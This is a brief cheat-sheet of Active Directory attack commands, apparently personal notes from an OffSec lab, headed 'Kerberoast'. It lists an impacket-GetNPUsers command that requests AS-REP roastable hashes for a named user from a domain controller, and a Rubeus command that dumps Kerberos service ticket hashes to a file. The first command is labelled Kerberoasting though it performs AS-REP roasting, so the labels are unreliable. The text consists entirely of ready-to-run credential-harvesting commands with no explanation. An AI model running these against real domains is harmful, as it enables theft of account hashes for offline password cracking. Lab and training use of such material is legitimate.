Kerberoast

Linux Side

impacket-GetNPUsers -dc-ip $ip  -request -outputfile hashes.asreproast hutch.offsec/fmcsorley

Windows Side

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast